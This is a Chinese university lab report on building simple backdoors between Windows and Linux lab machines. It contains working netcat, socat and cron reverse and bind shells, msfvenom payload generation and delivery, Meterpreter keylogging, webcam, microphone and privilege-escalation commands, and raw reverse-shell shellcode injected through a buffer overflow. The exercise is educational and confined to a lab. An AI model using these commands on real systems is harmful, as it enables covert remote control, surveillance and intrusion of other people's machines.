《网络对抗技术》exp2 简单后门
《网络对抗技术》exp2 简单后门
学习内容:
- 使用nc实现win,mac,Linux间的后门连接
- meterpreter的应用
学习目标
- 建立一个后门连接是如此的简单,功能又如此强大。通过亲手实践并了解这一事实,从而提高自己的安全意识 。
1.后门概念
后门就是不经过正常认证流程而访问系统的通道。
哪里有后门呢?
- 编译器留后门
e.g.Visual studio、gcc - 操作系统留后门
替换Linux - 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
下面是近些年的一些例子: - 编译器:苹果Xcode后门事件。苹果Xcode后门事件中招的APP包括:微信、网易云音乐、滴滴出行、12306等76个软件,影响到几亿用户。
注:苹果Xcode--集成开发软件 - 操作系统:政府VS厂商。苹果公开拒绝FBI要求设置后门的要求。那些没拒绝的当然不会说话。
- 操作系统:深入解读MS14-068漏洞:微软精心策划的后门?。其实细节我也没太看懂,看出来蛮可疑。
注:操作系统公司有几千人工作,买通人员。格式问题 - 固件:更多思科路由器发现后门:中国有4台
- 应用:研究人员发现macOS版Skype内置了后门
- 应用:从广升“后门”事件看企业道德底线
- 应用:如何评价乌云漏洞平台曝百度旗下多款App存在WormHole后门?
我们接下来讲得是一个相对狭义一点的后门的概念:
- 特指潜伏于操作系统中专门做后门的一个程序,
- “坏人”可以连接这个程序
- 远程执行各种指令。
- 概念和木马有重叠
- 木马强调伪装、隐蔽,实质是一个后门,木马强调外表,而后门强调内在
- 木马强调伪装、隐蔽,实质是一个后门,木马强调外表,而后门强调内在
过程:
- 首先得有这么一个程序
- netcat 系列
- meterpreter
- intersect
- ...特别多
- 其次得放到系统里
- 正版软件故意或被攻击,包含后门
- 正版库文件中包含后门
- 本质上,需要诱骗你下载操作的,都属于各种钓鱼吧
- 安装包中包含后门,放到网上供下载
- 绑定到特定文件中,放到网上供下载
- 直接发送恶意程序给你
- 直接发送攻击性钓鱼链接给你,恶意网站种马
- 捡到个U盘,打开个文件看看?
- 煤女帅锅拿U盘直接拷给你
- 攻击系统漏洞,获取控制权后,安装后门
- 再次还得运行起来
- 开机自启动技术
- win的定时任务
- linux的cron
- 伪装成常用软件,诱使用户点击
- 木马化正常软件
- 最后还得不被本机的恶意代码检测程序发现
- 恶意代码免杀技术
- 也不能被本机的或网络上的防火墙发现 (目的:打开通道,不被发现,能够连通)
- 反弹式连接
- 加密连接
- 隧道技术
注意:去官网下载软件,校验MD5值,确保正确性
2. 常用后门工具
2.1 NC 或 netcat
1.关于netcat
是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
- Windows: 课程主页附件中下载ncat.rar解压即可使用。
- Mac: 系统自带,"man nc",查看其使用说明。
- 以下相关指令,实测有效。
2.1.1 Win获得Linux Shell
以下实践Windows基本Win7-64bit, Kali2-64bit.
1.windows 打开监听
使用ipconfig
查看windows主机的网络ip地址
ncat.exe -l -p 1211
2.Linux 反弹连接win
注意网址对应windows的ip地址,端口与上面一致监听1211端口
nc 192.168.1.243 1211 -e /bin/sh
3.windows下获得一个linux shell,可运行任何指令,如ls
2.1.2 Linux获得Win Shell
1.Linux运行监听指令
使用ip addr
或者ifconfig
来查看Linux主机的网络ip地址
nc -l -p 1211
2.Windows反弹连接Linux
注意网址对应Linux的ip地址,端口与上面一致监听1211端口
ncat.exe -e cmd.exe 192.168.11.151 1211
3.Linux下看到Windows的命令提示
2.1.3 Netcat扩展知识
- nc传输数据
Windows下监听1211端口:ncat.exe -l 1211
Kali下连接到Windows的1211端口:nc 192.168.1.243 1211
建立连接之后,就可以传输数据
-
Linux向windows中传输文件
-
windows使用nc侦听特定端口,并将输出捕获到文件中:
ncat.exe -l 1211 > file1.out
-
使用Linux,连接到侦听的nc进程,windows可以收到kali发来的文件:
nc 192.168.1.243 1211 < file1.txt
-
建立连接之后,就可以传输文件
注意:需要先创建file1.txt文件,使用vim file.txt
创建填写file1文件,使用cat file.txt
查看file1文件内容 -
文件传输后,连接将自动关闭。
-
windows向Linux发送文件
-
Linux使用nc侦听特定端口,并将输出捕获到文件中:
nc -l -p 1211 > file2.txt
-
使用windows,连接到侦听的nc进程,Linux可以收到kali发来的文件:
ncat.exe 192.168.11.151 1211 < file2.txt
-
建立连接之后,就可以传输文件
如果有同学遇到了在wins主机上连接时超时未响应的问题,可以把kali虚拟机的网络模式修改为桥接模式,此时需要稍微等待一下,ip地址会改变,使用ip addr
或者ifconfig
再次查询ip,修改命令。 -
SoCat
socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N
倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。
Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。
2.2 Meterpreter
- 后门就是一个程序。
- 传统的理解是:有人编写一个后门程序,大家拿来用。
- 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
3 后门启动
3.1 使用netcat获取主机操作Shell,cron启动
- 在windows系统下,监听
1211
端口
ncat.exe -l -p 1211
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
- 在Kali环境下,用
crontab -e
指令编辑一条定时任务。
- crontab指令增加一条定时任务,
-e
表示编辑。
- 在第一次编辑时,提示选择编辑器,我选择了3,并添加了最后一行。(第一次操作时没有截到图)
- 第一次时会有提示
Select an editor. To change later, run 'select-editor'.
,意思是如果想要更改编辑器,输入命令select-editor
.
m分钟 h小时 dom日期 mon月 dow周几 command执行的命令
33 * * * * /bin/netcat 192.168.1.243 1211 -e /bin/sh
注:在每个小时的第33分钟执行后面的那条指令。
保存、退出后配置即生效。可以通过crontab -l
来查看,-l
表示list。
在系统时间20:33时,就发现获得kali shell。可以使用ls查看。
- crontab指令增加一条定时任务,
3.2 使用socat获取主机操作Shell, 任务计划启动
socat是ncat的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address是必选项,而options是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
Win+R
输入compmgmt.msc
打开“计算机管理”
- 填写任务名称,并新建一个触发器
- 在操作->新建->程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写
tcp-listen:1211 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口1211,同时把cmd.exe的stderr重定向到stdout上:
- 创建完成之后,按
Win+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
- 此时,在Kali环境下输入指令
socat - tcp:192.168.1.243:1211
- 这里的第一个参数-代表标准的输入输出
- 第二个流连接到Windows主机的1211端口
- 此时可以发现已经成功获得了一个cmd shell
3.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.151 LPORT=1211 -f exe > 20181211_backdoor.exe
- IP地址为控制端IP,即kali的IP
- 生成了后门程序:20181211_backdoor.exe
- 在windows上,通过
ncat.exe -lv 1211 > 20181211_backdoor.exe
指令将被控制主机进入接受文件模式
- 在Linux中执行
nc 192.168.1.243 1211 < 20181211_backdoor.exe
,注意这里的IP为被控主机IP,即WindowsIP
- 传送接收文件成功
- 在Kali上使用
msfconsole
指令进入msf控制台
- 输入
use exploit/multi/handler
使用监听模块,设置payload set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payloadset LHOST 192.168.11.151
,这里用的是LinuxIP,和生成后门程序时指定的IP相同set LPORT 1211
,同样要使用相同的端口
- 输入
- 设置完成后,执行监听
exploit
- 运行Windows下的后门程序
-执行360会提醒:发现木马,建议清除,这个时候点击添加信任
- 此时Kali上已经获得了windows主机的连接,并且得到了远程控制的shell
3.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容并尝试提权
- 使用
record_mic
指令可以截获一段音频
- 使用
webcam_snap
指令可以使用摄像头进行拍照(猝不及防,拍了一张黑乎乎的台灯照片)
照片如下:
- 使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录(一定要很快,否则就说明都没抓到) - 使用
screenshot
指令可以进行截屏
照片如下:
- 查看当前用户:
getuid
,提取权限:getsystem
加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
方法一
-
在Kali上执行指令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.11.151 LPORT=1211 -x pwn1 -f elf > pwntest
- IP地址为控制端IP,即Linux的IP
- 生成了程序:pwntest.exe
- 在参数说明中提到,
-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。原来的windows/meterpreter/reverse_tcp
就是一就是一段shellcode。实验一的pwn1在linux下运行,因此代码改为linux/x86/meterpreter/reverse_tcp
- 在参数说明中提到,
-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中-f
生成文件的类型,使用file pwn1
得知pwn1的文件类型是elf
-
在Kali上使用
msfconsole
指令进入msf控制台- 输入
use exploit/multi/handler
使用监听模块,设置payload set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.11.151
,这里用的是LinuxIP,和生成程序时指定的IP相同set LPORT 1211
,同样要使用相同的端口
- 输入
-
设置完成后,执行监听
exploit
-
此时,在另一个终端运行
./pwntest
- 会提示权限不够,此时输入命令
chmod +x pwntest
- 修改pwntest为可执行文件
- 再次执行
./pwntest
- 会提示权限不够,此时输入命令
-
前一个终端进行响应,得到了pwntest的功能
方法二
从https://www.exploit-db.com/shellcodes 中下载一份linux/x86平台的,反弹连接的shellcode。我试了21版的shellcode,过程中出了错,暂未找到解决方法,所以仍旧使用18.5.14版本,注意图中标红的内容。
perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > inputtest
仿照实验一,找到我们的地址0xffffd17c + 0x00000004 = 0xffffd180
- 在Kali上使用
msfconsole
指令进入msf控制台 - 输入
use exploit/multi/handler
使用监听模块,设置payloadset payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
,按照网站shellcode的要求set LPORT 4444
,按照网站shellcode的要求
- 设置完成后,执行监听
exploit
- 此时,在另一个终端运行
(cat inputtest;cat) | ./pwn1
运行运行注入shellcode后的pwn1
- 操作成功
方法三
- 在kali上执行
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.11.151 LPORT=1211 -f c
获得shellcode
- 模仿上面的输入代码和实验一,将自己的堆栈地址放到代码中
perl -e 'print "A" x 32;print"\xb0\xd1\xff\xff\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x0b\x97\x68\x02\x00\x04\xbb\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"' > inputtest00
- 在Kali上使用
msfconsole
指令进入msf控制台 - 输入
use exploit/multi/handler
使用监听模块,设置payloadset payload linux/x86/shell_reverse_tcp
set LHOST 192.168.11.151
,自己的虚拟机地址set LPORT 1211
,自己的端口号
- 设置完成后,执行监听
exploit
-在另一端执行(cat inputtest00;cat) | ./pwn1
,一定要按两下回车
- 攻击成功
4 基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
下载非正当途径的软件,并安装运行了该软件,有未知的插件未经允许一起安装,使用有后门的U盘,访问不安全的网站有网页挂马。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
在这次实验中,修改cron程序,生成后门可执行文件,通过nc传递,针对host地址和端口利用漏洞。安装某安装包时一起安装静默软件,搜狗输入法的广告,360的全家桶,火狐浏览器的静默插件等等。
(3)Meterpreter有哪些给你映像深刻的功能?
在未经提示和允许的情况下,它进行了录音、拍摄、记录键盘输入、截图等等功能,拍摄的照片就是一瞬间的事情。
和实验一梦幻联动,实现了shell的功能。
(4)如何发现自己有系统有没有被安装后门?
大家经常使用的杀毒软件应该可以识别,在传输后门可执行文件时,我的执行就被拒绝,同时我的360卫士就提示发现木马,建议清除。通过查看注册表regedit,查看我们的任务管理器看看后台是否有未知的软件在运行。
5 实验总结与体会
在整个实验的过程中,感受一下自己去后门程序的过程,因为在解决上个实验的时候就关掉了防火墙,所以没有碰到同学说的的问题,每个步骤中的命令仍需要细细消化,在主机中运行后门程序时,遇到了拒绝,也算见识了360安全卫士的作用,能够发现这个后门木马,最后可选中,在学姐的博文指导下,了解了她命令调试的过程,也在自己的实践中掌握了整个交互的过程。在帮助同学的过程中,发现了有些同学的网络模式会导致问题,可以修改网络设置为桥接模式。
参考
https://www.cnblogs.com/orii/p/12450691.html#3-meterpreter
https://www.cnblogs.com/besty-zyx/p/10569260.html#4